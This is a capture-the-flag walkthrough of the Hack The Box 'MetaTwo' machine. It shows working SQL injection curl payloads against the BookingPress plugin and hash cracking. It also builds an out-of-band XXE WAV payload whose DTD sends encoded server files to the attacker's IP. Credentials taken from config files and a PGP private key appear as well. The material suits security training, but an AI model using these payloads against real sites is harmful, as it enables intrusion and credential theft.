<- HTB

MetaTwo


11 minutes to read

MetaTwo
Hack The Box. Linux. Easy machine. This machine has a WordPress website that uses a plugin that is vulnerable to SQLi. Then we can get password hashes and crack one of them to get access to the WordPress dashboard. The version of WordPress is vulnerable to out-of-band XXE using a WAV file that allows to read files from the server. Using this vulnerability, we can find plaintext credentials for FTP. In this service we have another PHP file with more plaintext credentials that are valid for SSH. Once inside the machine, we can see some PGP keys and messages that can be decrypted to find the password for root
  • OS: Linux
  • Difficulty: Easy
  • IP Address: 10.10.11.186
  • Release: 29 / 10 / 2022

Port scanning

# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.186 -p 21,22,80
Nmap scan report for 10.10.11.186
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
|   256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_  256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-generator: WordPress 5.6.2
|_http-server-header: nginx/1.18.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: MetaPress – Official company site
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
# Nmap done -- 1 IP address (1 host up) scanned in 70.69 seconds

This machine has ports 21 (FTP), 22 (SSH) and 80 (HTTP) open.

Enumeration

If we go to http://10.10.11.186, we are redirected to http://metapress.htb, so we need to add this domain in /etc/hosts. Then we have this website:

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It looks like a WordPress website. If we go to /events/ we will see this application:

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In the source code, we can observe that it uses bookingpressplugin version 1.0.10:

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Searching for this version, we find that it is vulnerable to SQL injection (CVE-2022-0739, more details at wpscan.com).

We need to take a value called nonce from the HTML source code:

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Now we can try the proof of concept at wpscan.com:

$ curl metapress.htb/wp-admin/admin-ajax.php -d 'action=bookingpress_front_get_category_services&_wpnonce=d7b1c25e29&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]  

$ curl metapress.htb/wp-admin/admin-ajax.php -sd 'action=bookingpress_front_get_category_services&_wpnonce=d7b1c25e29&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' | jq
[
  {
    "bookingpress_service_id": "10.5.15-MariaDB-0+deb11u1",
    "bookingpress_category_id": "Debian 11",
    "bookingpress_service_name": "debian-linux-gnu",
    "bookingpress_service_price": "$1.00",
    "bookingpress_service_duration_val": "2",
    "bookingpress_service_duration_unit": "3",
    "bookingpress_service_description": "4",
    "bookingpress_service_position": "5",
    "bookingpress_servicedate_created": "6",
    "service_price_without_currency": 1,
    "img_url": "http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/images/placeholder-img.jpg"
  }
]

And it works! The server is vulnerable to SQL injection.

Foothold

Let’s wrap the above command in a shell function to exploit SQLi easily:

$ function sqli() { curl metapress.htb/wp-admin/admin-ajax.php -sd "action=bookingpress_front_get_category_services&_wpnonce=d7b1c25e29&category_id=33&total_service=-7502) UNION ALL SELECT $1,2,3,4,5,6,7,8,9-- -" | jq -r '.[].bookingpress_service_id' }  

$ sqli @@version
10.5.15-MariaDB-0+deb11u1

Exploiting SQLi

Since the server uses WordPress, we can try to access the table wp_users and select columns user_login and user_pass (I use concat to join both values with a colon, which is 0x3a in hexadecimal format):

$ sqli "(select count(*) from wp_users)"
2

$ sqli "(select concat(user_login,0x3a,user_pass) from wp_users limit 0,1)" >> hashes  
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.

$ sqli "(select concat(user_login,0x3a,user_pass) from wp_users limit 1,1)" >> hashes
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Now we get two WordPress hashes. Only the one from manager is crackable with john:

$ john --wordlist=$WORDLISTS/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 ASIMD 4x2])  
Cost 1 (iteration count) is 8192 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (manager)
1g 0:01:01:21 DONE 0.000271g/s 3896p/s 3926c/s 3926C/s  abrxbt..*7¡Vamos!
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.

At this point, we can log in as manager:

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Now, we see that the server uses WordPress version 5.6.2:

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This one has multiple vulnerabilities, as shown at www.acunetix.com. We can find an explanation of an out-of-band XML External Entity (OOB XXE) vulnerability at www.sonarsource.com. There’s also a GitHub repository with some code to exploit the vulnerability (CVE-2021-29447). The exploit will allow us to read files from the server (Local File Read).

Exploiting XXE

We need to use an XML DTD file like this one (setting our own IP address):

<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">  
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.17.44:8001/?%data;'>">

We will be changing the filename we want to read from the server. Next, we need to craft our payload inside a WAV file (again, with our own IP address):

$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.17.44:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00' > malicious.wav

Then, we start the PHP server that serves evil.dtd and will show an encoded payload when we upload the WAV file:

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$ make up-mal
php -S 0.0.0.0:8001 -t attacker/www/
[Thu Jan 26 11:55:05 2023] PHP 8.1.2 Development Server (http://0.0.0.0:8001) started
[Thu Jan 26 11:55:26 2023] 10.10.11.186:47020 Accepted
[Thu Jan 26 11:55:26 2023] 10.10.11.186:47020 [200]: GET /evil.dtd
[Thu Jan 26 11:55:26 2023] 10.10.11.186:47020 Closing
[Thu Jan 26 11:55:27 2023] 10.10.11.186:47030 Accepted
[Thu Jan 26 11:55:27 2023] 10.10.11.186:47030 [404]: GET /?p=jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw== - No such file or directory  
[Thu Jan 26 11:55:27 2023] 10.10.11.186:47030 Closing
[Thu Jan 26 11:55:27 2023] 10.10.11.186:47042 Accepted
[Thu Jan 26 11:55:27 2023] 10.10.11.186:47042 [200]: GET /evil.dtd
[Thu Jan 26 11:55:27 2023] 10.10.11.186:47042 Closing
[Thu Jan 26 11:55:28 2023] 10.10.11.186:47056 Accepted
[Thu Jan 26 11:55:28 2023] 10.10.11.186:47056 [404]: GET /?p=jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw== - No such file or directory
[Thu Jan 26 11:55:28 2023] 10.10.11.186:47056 Closing

After that, the instructions in the repository tell us to edit attacker/decryption.php and put the above payload. Instead, I will use $argv[1] so that I only need to pass the payload with a command-line argument:

<?php

echo zlib_decode(base64_decode($argv[1]));  

$ php attacker/decryption.php 'jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw=='  
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

At this point, we can read files from the server with this procedure:

  • Set the filename at evil.dtd
  • Upload malicious.wav
  • Decode the payload from the server log

Since the web server uses nginx, let’s see its configuration file (/etc/nginx/sites-enabled/default):

server {

        listen 80;
        listen [::]:80;

        root /var/www/metapress.htb/blog;

        index index.php index.html;

        if ($http_host != "metapress.htb") {
                rewrite ^ http://metapress.htb/;
        }

        location / {
                try_files $uri $uri/ /index.php?$args;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;  
        }

        location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
                expires max;
                log_not_found off;
        }

}

Nice, now we have the root directory for WordPress. Let’s read the configuration file (/var/www/metapress.htb/blog/wp-config.php):

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );  
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

As can be seen, we have credentials for FTP (port 21): metapress.htb:9NYS_ii@FyL_p5M2NvJ. Let’s connect to the server:

$ ftp metapress.htb@10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||31636|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 mailer  
226 Transfer complete

The blog directory contains all WordPress source files, not really interesting:

ftp> dir blog
229 Entering Extended Passive Mode (|||21238|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 metapress.htb metapress.htb      405 Feb  6  2020 index.php
-rw-r--r--   1 metapress.htb metapress.htb    19915 Feb 12  2020 license.txt
-rw-r--r--   1 metapress.htb metapress.htb     7278 Jun 26  2020 readme.html
-rw-r--r--   1 metapress.htb metapress.htb     7101 Jul 28  2020 wp-activate.php
drwxr-xr-x   9 metapress.htb metapress.htb     4096 Oct  5 14:12 wp-admin
-rw-r--r--   1 metapress.htb metapress.htb      351 Feb  6  2020 wp-blog-header.php
-rw-r--r--   1 metapress.htb metapress.htb     2328 Oct  8  2020 wp-comments-post.php  
-rw-r--r--   1 metapress.htb metapress.htb     2032 Jun 23  2022 wp-config.php
-rw-r--r--   1 metapress.htb metapress.htb     2913 Feb  6  2020 wp-config-sample.php
drwxr-xr-x   6 metapress.htb metapress.htb     4096 Oct  5 14:12 wp-content
-rw-r--r--   1 metapress.htb metapress.htb     3939 Jul 30  2020 wp-cron.php
drwxr-xr-x  25 metapress.htb metapress.htb    12288 Oct  5 14:12 wp-includes
-rw-r--r--   1 metapress.htb metapress.htb     2496 Feb  6  2020 wp-links-opml.php
-rw-r--r--   1 metapress.htb metapress.htb     3300 Feb  6  2020 wp-load.php
-rw-r--r--   1 metapress.htb metapress.htb    49831 Nov  9  2020 wp-login.php
-rw-r--r--   1 metapress.htb metapress.htb     8509 Apr 14  2020 wp-mail.php
-rw-r--r--   1 metapress.htb metapress.htb    20975 Nov 12  2020 wp-settings.php
-rw-r--r--   1 metapress.htb metapress.htb    31337 Sep 30  2020 wp-signup.php
-rw-r--r--   1 metapress.htb metapress.htb     4747 Oct  8  2020 wp-trackback.php
-rw-r--r--   1 metapress.htb metapress.htb     3236 Jun  8  2020 xmlrpc.php
226 Transfer complete

On the other hand, we have mailer:

ftp> dir mailer
229 Entering Extended Passive Mode (|||12586|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5 14:12 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22  2022 send_email.php  
226 Transfer complete

Let’s get the file send_email.php:

ftp> cd mailer
250 CWD command successful
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||10313|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |*****************************************************************************************************************|  1126       11.37 KiB/s    00:00 ETA  
226 Transfer complete
1126 bytes received in 00:00 (3.88 KiB/s)

This script send_email.php has more hard-coded credentials for user jnelson (which is also a system user as it appears in /etc/passwd):

<?php
/*
 * This script will be used to send an email to all our users when ready for launch  
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;
$mail->isSMTP();

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}

The above credentials (jnelson:Cb4_JmWM8zUZWMu@Ys) are valid in SSH:

$ ssh jnelson@metapress.htb
jnelson@metapress.htb's password:  
jnelson@meta2:~$ cat user.txt
7bc26a83a3746408eee60d626bcb806a

System enumeration

In the home directory we find an unusual folder called .passpie:

jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 .
drwxr-xr-x 3 root    root    4096 Oct  5 15:12 ..
lrwxrwxrwx 1 root    root       9 Jun 26  2022 .bash_history -> /dev/null  
-rw-r--r-- 1 jnelson jnelson  220 Jun 26  2022 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26  2022 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
-rw-r--r-- 1 jnelson jnelson  807 Jun 26  2022 .profile
-rw-r----- 1 root    jnelson   33 Jan 25 14:20 user.txt

Here we have these files:

jnelson@meta2:~$ ls -la .passpie/
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 ..
-r-xr-x--- 1 jnelson jnelson    3 Jun 26  2022 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26  2022 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 12:52 ssh
jnelson@meta2:~$ ls -la .passpie/ssh/
total 16
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 12:52 .
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 ..
-r-xr-x--- 1 jnelson jnelson  683 Oct 25 12:52 jnelson.pass  
-r-xr-x--- 1 jnelson jnelson  673 Oct 25 12:52 root.pass

These are .config and .keys:

jnelson@meta2:~$ cat .passpie/.config
{}
jnelson@meta2:~$ cat .passpie/.keys
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1  
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH
FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L
/244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
q2wOX/RzICWMbdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTYO8QJRDFr+
F2mStGpiqEOOvVmjHxHAduJpIgpcF8z18AosOswa8ryKg3CS2xQGkK84UliwuPUh
S8wCQQxveke5/IjbgE6GQOlzhpMUwzih7+15hEJVFdNZnbEC9K/ATYC/kbJSrbQM
RfcJUrnjPpDFgF6sXQJuNuPdowc36zjE7oIiD69ixGR5UjhvVy6yFlESuFzrwyeu
TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20
oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4
V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n
WLQzUGFzc3BpZSAoQXV0by1nZW5lcmF0ZWQgYnkgUGFzc3BpZSkgPHBhc3NwaWVA
bG9jYWw+iJAEExEIADgWIQR8Z4anVhvIT1BIZx44d3XDV0XSAwUCYrhX1gIbIwUL
CQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRA4d3XDV0XSA0RUAP91ekt2ndlvXNX6
utvl+03LgmilpA5OHqmpRWd24UhVSAD+KiO8l4wV2VOPkXfoGSqe+1DRXanAsoRp
dRqQCcshEQ25AQ0EYrhX1hAEAIQaf8Vj0R+p/jy18CX9Di/Jlxgum4doFHkTtpqR
ZBSuM1xOUhNM58J/SQgXGMthHj3ebng2AvYjdx+wWJYQFGkb5VO+99gmOk28NY25
hhS8iMUu4xycHd3V0/j8q08RfqHUOmkhIU+CWawpORH+/+2hjB+FHF7olq4EzxYg
6L4nAAMFA/4ukPrKvhWaZT2pJGlju4QQvDXQlrASiEHD6maMqBGO5tJqbkp+DJtM
F9UoDa53FBRFEeqclY6kQUxnzz48C5WsOc31fq+6vj/40w9PbrGGBYJaiY/zouO1
FU9d04WCssSi9J5/BiYiRwFqhMRXqvHg9tqUyKLnsq8mwn0Scc5SVYh4BBgRCAAg
FiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4V9YCGwwACgkQOHd1w1dF0gOm5gD9
GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH
FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
